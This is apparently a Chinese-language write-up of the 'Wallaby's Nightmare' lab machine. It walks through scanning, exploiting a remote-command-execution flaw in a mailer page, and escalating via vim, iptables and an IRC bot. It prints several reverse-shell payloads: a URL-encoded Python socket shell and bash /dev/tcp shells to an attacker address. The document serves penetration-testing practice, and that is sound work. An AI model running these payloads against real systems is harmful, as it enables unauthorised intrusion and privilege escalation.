一、主机发现
arp-scan -l
靶机ip为:192.168.55.165
二、端口扫描、目录枚举、漏洞扫描、指纹识别
2.1端口扫描
nmap --min-rate 10000 -p- 192.168.55.165
发现存在6667这一特殊端口,开放了irc服务
UDP端口扫描
nmap -sU --min-rate 10000 -p- 192.168.55.165
靶机没有开放UDP端口
2.2目录枚举
dirb http://192.168.55.165
没有可用的敏感路径
2.3漏洞扫描
nmap --script=vuln -p22,80,6667 192.168.55.165
2.4指纹识别
nmap 192.168.55.165 -sV -sC -O --version-all
三、进入靶机网站寻找信息,反弹shell
前面收集到的信息太少了,只能从靶机网站继续收集了
到了靶机网站,输入一个名字去开启这次ctf
随后进入这个页面,看到url中的page=home,感觉存在文件包含漏洞
还真有效果
但是没有密码能直接爆破,继续尝试执行其它命令
发现不能执行命令,只能文件包含,尝试使用nikto工具进行扫描
nikto -h 192.168.55.165
发现只有文件包含漏洞,只好尝试其它页面了
再回到页面时,发现页面无法访问了
靶机不可能封我们的ip,ctf中这种情况一般是80端口关闭,然后开启了另一个端口,继续进行namp扫描端口
确实跟想的一样,80端口关闭,然后开启了60080端口
他说为了防止我爆破,所以换了一个端口,说明应该还是有目录包含漏洞的
继续进行目录枚举,看看新的端口下有什么信息
dirb http://192.168.55.165:60080/?page=
发现这个端口确实有很多信息
访问爆破出来的url
发现提示说已经修复了
但是?page=mailer是没有修复的
那说明漏洞应该在这一个页面中,查看页面源代码
发现这里应该存在rce
尝试执行ls命令
真成功了,可以在此处进行反弹shell了
http://192.168.55.165:60080/?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.55.132%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27
成功反弹shell
四、提权
4.1靶机信息收集
查看用户的sudo命令权限
发现vim和iptables有权限使用
其中iptables是Linux的防火墙,尝试使用vim进行提权
防火墙有权限的话,可以先看看防火墙怎么工作的,扫描端口的时候发现6667端口没开放
查看防火墙
sudo /sbin/iptables -L
该防火墙限制外部访问irc服务
清空防火墙策略
sudo /sbin/iptables --flush
重新扫描该端口,发现开放了,并且该服务是wallaby的
4.2进入waldo用户
sudo -u waldo /usr/bin/vim /etc/apache2/sites-available/000-default.conf
根据刚刚的命令,用waldo用户执行vim编辑该文件
:!bash -i >& /dev/tcp/192.168.55.132/8888 0>&1
成功反弹shell
4.3提权
waldo用户需要密码才能使用sudo命令,尝试在靶机收集其它信息
找一下wallaby的相关信息,这样就能进而找到irc服务的相关信息
find / -name wallaby* 2> /dev/null
找到了两个相关的文件
在/home/wallaby/.sopel目录下找到了相关信息
找到了irc服务是waldo用户所有的,频道名称也有,刚刚将防火墙关闭了,kali本机也可以访问到该端口
irssi -c 192.168.55.165 -p 6667 -n wallabyschat
/list 查看频道列表
发现有两个频道
/j wallabyschat 进入公开频道
/wc 退出当前频道
在频道中看到了两个用户
在主频道中输入以下命令进行信息收集
/whois waldo
/whois wallabysbot
发现wallabysbot基于Sopel的
去靶机找相关信息
找到了一个run.py脚本
去wallabyschat频道中尝试运行
/j wallabyschat
.run ls
发现Waldo正在使用tmux满足IRC需求…如果服务装置出现故障…就是说tmux掉线了,IRC也会跟着掉线…
查看用户的进程,并将tmux进程关闭
ps -aux | grep waldo
kill 666
然后欺骗对方用waldo身份运行开启反弹shell,.run获取反向shell即可
/wc
/j wallabyschat
/nick waldo
nc -lvvp 9090
.run bash -c 'bash -i >& /dev/tcp/192.168.55.132/9090 0>&1'
此时就拿到了wallaby的shell
sudo -l
直接sudo提权即可
sudo su
提权成功!
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Wallaby's Nightmare靶机详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论